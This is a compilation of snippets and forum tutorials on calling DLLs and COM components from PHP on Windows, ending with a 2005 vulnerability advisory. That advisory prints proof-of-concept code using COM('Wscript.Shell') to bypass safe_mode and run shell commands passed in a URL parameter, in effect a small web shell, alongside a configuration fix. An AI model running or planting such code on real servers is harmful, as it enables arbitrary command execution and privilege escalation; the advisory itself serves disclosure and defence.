PHP调用dll有这几种方式:
1、按php扩展库格式编译的,用 dl 函数
2、按com+编译的,用 com 函数
3、标准win32格式的,用 win32api 函数库
—————-
<?php
$domainObject = new COM("WinNT://Domain");
foreach ($domainObject as $obj) {
echo $obj->Name . "<br />";
}
?>
———–
To run a php script in a background process and pass it you var use
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("c:\\xampp\\php\\php.exe
c:\\xampp\\Not_on_Web\\ftptestback.php –user=$username", 7, false);
?>
—————–
// 启动 word
$word = new COM("word.application") or die("Unable to instanciate Word");
print "Loaded Word, version {$word->Version}\n";
//将其置前
$word->Visible = 1;
//打开一个空文档
$word->Documents->Add();
//随便做些事情
$word->Selection->TypeText("This is a test…");
$word->Documents[1]->SaveAs("Useless test.doc");
//关闭 word
$word->Quit();
//释放对象
$word->Release();
$word = null;
——————-
$conn = new COM("ADODB.Connection") or die("Cannot start ADO");
$conn->Open("Provider=SQLOLEDB; Data Source=localhost;
Initial Catalog=database; User ID=user; Password=password");
$rs = $conn->Execute("SELECT * FROM sometable"); // 记录集
$num_columns = $rs->Fields->Count();
echo $num_columns . "\n";
for ($i=0; $i < $num_columns; $i++)
{
$fld[$i] = $rs->Fields($i);
}
$rowcount = 0;
while (!$rs->EOF)
{
for ($i=0; $i < $num_columns; $i++)
{
echo $fld[$i]->value . "\t";
}
echo "\n";
$rowcount++; // rowcount 自增
$rs->MoveNext();
}
$rs->Close();
$conn->Close();
$rs->Release();
$conn->Release();
$rs = null;
$conn = null;
------------------
com_invoke() 调用由 com_object 所引用的对象的方法。出错返回 FALSE,成功则返回 function_name 的返回值。
Note that if you want to use a string to specify the method to call (e.g. a drop-down list to decide what to do to a server process) you can do this in three ways.
The first is to use this function, as in <?php com_invoke($obj, $_GET['func']); ?>
That's bad.
The second is to use eval(), as in <?php eval("\$obj->{$_GET['func']}();"); ?>
That's very very very *very* bad.
The third is to use call_user_func(), as in <?php call_user_func(array($obj, $_GET['func'])); ?>
That's very good.
Remember to validate the user input against a list of allowed methods if a non-admin is at the console.
http://php.net/manual/en/function.call-user-func.php
---------------------
PHP调用自定义COM的经验总结
http://www.chinaunix.net 作者:zhhlv 发表于:2004-07-21 08:35:01
小弟进来一直在研究PHP中调用DLL的问题,也发了不少帖子询问如:geel哥 ,给了小弟很大的帮助!在此感想geel哥。在网上查找也大多是调用什么word,excle的。于是小弟经过2天的研究终于成功了,现在小弟将自己调用中遇到的一些问题和解决的办法发出来和大家探讨一些看有没有可改进的地方,同时也算是抛块砖吧!
第一个问题:PHP中如何调用DLL中的函数?
答:首先查到的是 w32api_register_function 函数,需要打开php_w32api.dll可是该函数只在PHP在4.2.0 至 4.2.3中支持调用,哎呀!我用的php是4.3.6!
调用DLL只有使用php的COM函数了。
第二个问题:如何写COM。
答:这个问题本来不属于php的问题,但还是给大家简单介绍一下,我用的是msvs.net2003环境下的VC++。当然其他工具也行了。只是小弟对VC熟一点而已。具体做法,新建一个项目,选择VC++项目下的alt文件夹,选择ALT项目,点确定,哦记着起名字。在“类视图”选项中添加一个alt类,选择简单alt类就行了。配置一下属性,OK,类视图窗口中出现了你新建的类名,选择“I”开头的类名结尾的项目, 右键添加方法。然后完成你函数的具体内容就行了。然后编译OK!
第三个问题:php如何调用你的com呢?
答:首先要在windows的运行框中,运行regsvr32 c:\yourpath\yourcom.dll。需要注意的问题一定要把你用到的所有DLL文件都放在一个目录下。注册成功后,你就可以调用了。
<?php
$mycom = new COM ("mycom.myclassname") or die ("error");//mycom.myclassname 点前面是你dll的名字,点后面是你在com中定义的类的名字。
com_invoke($mycom,"yourfunctionname","para1","para2");//有几个参数就写几个para。
$mycom ->;Release();
?>;
试试看,有没有问题!到这里就完成了php的调用。
注意:在用php想com传参数的时候,会有点问题,在传递字符串时,你的com程序一定要是BSTR类型的,如果是CHAR*就不能成功传递!我是费了很大周折自己试出来的哟!
希望能给大家一点帮助!也希望大家能讨论一下,我毕竟也是初学者
--------------
PHP4调用自己编写的COM组件 Xinsoft,2003-10-29 10:29:14
一:用VB6写Activex Dll
代码如下:
| LEADBBS CODE |
| Option Explicit
Private MyScriptingContext As ScriptingContext Private MyApplication As Application Private MyRequest As Request Private MyResponse As Response Private MyServer As Server Private MySession As Session Public Sub OnStartPage(PassedScriptingContext As ScriptingContext) Set MyScriptingContext = PassedScriptingContext Set MyApplication = MyScriptingContext.Application Set MyRequest = MyScriptingContext.Request Set MyResponse = MyScriptingContext.Response Set MyServer = MyScriptingContext.Server Set MySession = MyScriptingContext.Session End Sub Public Sub OnEndPage() Set MyScriptingContext = Nothing Set MyApplication = Nothing Set MyRequest = Nothing Set MyResponse = Nothing Set MyServer = Nothing Set MySession = Nothing End Sub Public Function Test_Number(num) As Variant If num < 0 Then Get_Number_Attrib = -1 If num > 0 Then Get_Number_Attrib = 1 If num = 0 Then Get_Number_Attrib = 0 End Function |
具体方法如下:新建一个VB6工程,ActiveX Dll将工程命名为P_test,类名为c_test
类的文件内容如上。
编译生成p_test.dll文件
二:注册
提示符下运行:regsvr32 p_test.dll
三:编写php文件,test.php4代码如下:
| LEADBBS CODE |
| <?
$b=new COM("p_test.c_test"); $a=$b->Test_Number(-454); echo $a; ?> |
运行php4文件将显示-1
可能遇到的问题是,编译工程时通不过,要将
Microsoft Active Server Pages Object Library
引用进来,具体实现“Project->References”找到改库,并勾上
相比之下,PHP4调用com应该比PHP4调用javabean好哦,因为毕竟是Ms系统嘛。大家也可以去自己编写调用数据库的控件,用PHP4调用,从某种程度上,和PHP调用javabean一样,可以说,实现了“隐藏源代码”。
—————–
PHP COM调用绕过安全模式执行文件漏洞
创建时间:2005-03-22
文章属性:原创
文章提交:kevin1986 (kevin7c2_at_yahoo.com.cn)
发现日期:2005-02-10
受影响的系统:
Windows 下支持COM()函数的PHP版本
发现人:
Saiy\我非我 From http://www.wrsky.com & kEvin1986
Saiy:dawangs_at_etang.com
kEvin1986:Garnett1986_at_hotmail.com
我非我:wofeiwo_at_bugkidz.org
我非我:
描述:
Windows平台下的PHP脚本平台存在一个安全漏洞,使得PHP设置即使在安全模式下(safe_mode),仍旧允许攻击者使用COM()函数来创建系统组件来执行任意命令.
漏洞出现的原因是由于在安全模式下的PHP平台虽然system();pathru()函数被禁止,但是com.allow_dcom的设置依旧是为true.以至于攻击者可以使用COM()函数创建系统组件对象来运行系统命令.如果是默认的Apache设置或者Web服务器以Loacalsystem权限或Administrators权限运行,攻击者可以使用这个漏洞来提升权限.
测试程序:
-----------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*需要Windows Script Host 5.6支持*/
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpexec=$phpwsh->exec("cmd.exe /c $cmd");
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
?>
/*Windows Script Host 5.6以下版本支持*/
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpwsh->run("cmd.exe /c $cmd > c:\\inetpub\\wwwroot\\result.txt");
?>
将以上代码保存成*.php文件之后可以在浏览器中执行
http://www.target.com/simple.php?cmd=[Command]
---------------------------------------------------------------
补丁:
目前PHP官方未回复发现者的信件且未发布任何相关补丁.
建议:
在设置安全模式之后,将 com.allow_dcom=true 设置为 com.allow_dcom=false即可.
